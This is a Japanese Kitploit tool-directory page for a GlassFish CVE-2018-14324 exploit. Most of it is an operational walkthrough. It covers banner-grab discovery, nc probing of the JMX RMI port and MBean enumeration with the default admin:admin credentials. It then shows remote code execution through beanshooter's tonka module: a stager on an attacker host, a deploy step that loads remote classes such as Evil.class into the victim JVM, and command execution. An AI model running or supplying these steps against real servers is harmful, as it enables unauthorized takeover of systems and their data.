Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Eclipse GlassFishのハッキング - CVE-2018-14324

リポジトリを見る
9ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Eclipse GlassFishのハッキング - CVE-2018-14324

CVE-2018-14324の説明では、この脆弱性の影響を完全には説明していません。要約すると、ハードコードされたadmin:adminの認証情報を介してJava Management Extensions (JMX)にアクセスできるようになります。

影響として「潜在的に機密情報、データベース操作の実行、またはJMX RMIセッションを介したデモの操作」と記載されていますが、JMX RMIセッションを介した操作が何を意味するのかは説明されていません。 CVSSスコアが9.8と高いため調査したところ、javax.management.loading:type=MLet MBeanを介して事実上RCEを達成できることがわかりました。このMBeanはGlassFish 5インスタンスでデフォルトで有効になっています。

Discovery

GlassFishサーバーをバージョンバナーから列挙します。

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

バージョンが5の場合、CVE-2018-14324の影響を受けます。

次に、JMX RMIサービスがポート7676で実行されているか確認します。

root@kitploit:~
nc <IP_ADDRESS> 7676

JMX RMIサービスへの接続文字列が表示されます。後で使用するためにその文字列を控えておきます。

例えば:

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

ご覧のとおり、接続文字列ではホスト名vm31465が使用されており、8686と7676の2つのポートが記載されています。

  • 7676はJNDIルックアップに使用されるJMX RMIポート
  • 8686はJMX通信に使用されるJMXエンドポイントポート

vm31465を/etc/hostsファイルに追加し、 IPアドレスを指すようにしてください。Beanshooterを使用する場合は、その必要はありません。

Enumeration

JMXとは何でしょうか?Java Management Extensions (JMX)は、Javaアプリケーションの管理インターフェースを実装できる技術です。Javaアプリケーション用のSNMPと考えてください。

まず、ターゲットシステムで利用可能なMBeanを列挙する必要があります。

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# もし動作しない場合
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

このスクリプトを使用すると、MBeanとその属性および操作のリストを取得できます。

MBean com.sun.management:type=DiagnosticCommandを使用すると、ターゲットJVMで診断コマンドを実行できます。システムプロパティの列挙に使用できます。詳細はDiagnosticCommand.javaを参照してください。

javax.management.loading:type=MLetが見つかれば、ターゲットを悪用できるはずです。このMBeanを使用すると、リモートのJavaクラスをターゲットJVMにロードできます。 ただし、Javaセキュリティマネージャーが任意のコードの実行を妨げる可能性があります。 RCEのための唯一機能するエクスプロイトは、beanshooterのtomkaモジュールでした。独自のエクスプロイトはセキュリティマネージャーによってブロックされました。MLetのロードはまだ機能しましたが、クラスはコードを実行することを許可されませんでした。

Exploitation

Beanshooterのtomkaモジュールを使用してターゲットを悪用します。

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

独自のMBeanローダーを作成し、ターゲットがMLetサーバーに接続するかどうかを監視することでデバッグすることもできます。 フローは次のとおりです。

root@kitploit:~
攻撃者 -> 被害者:7776 : javax.management.loading:type=MLet MBeanのルックアップ

攻撃者:8080 <- 被害者:7776 : MLetファイルのリクエスト
攻撃者:8080 -> 被害者:7776 : JavaクラスファイルへのURLを含むMLet (例: http://attacker:8080/Evil.class)
攻撃者:8080 <- 被害者:7776 : Javaクラスファイルのリクエスト
攻撃者:8080 -> 被害者:7776 : Javaクラスファイル

攻撃者 -> 被害者:7776 : ロードされたJavaクラスのメソッド呼び出し (例: Evil.listFiles())

Resources

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
ツールをダウンロード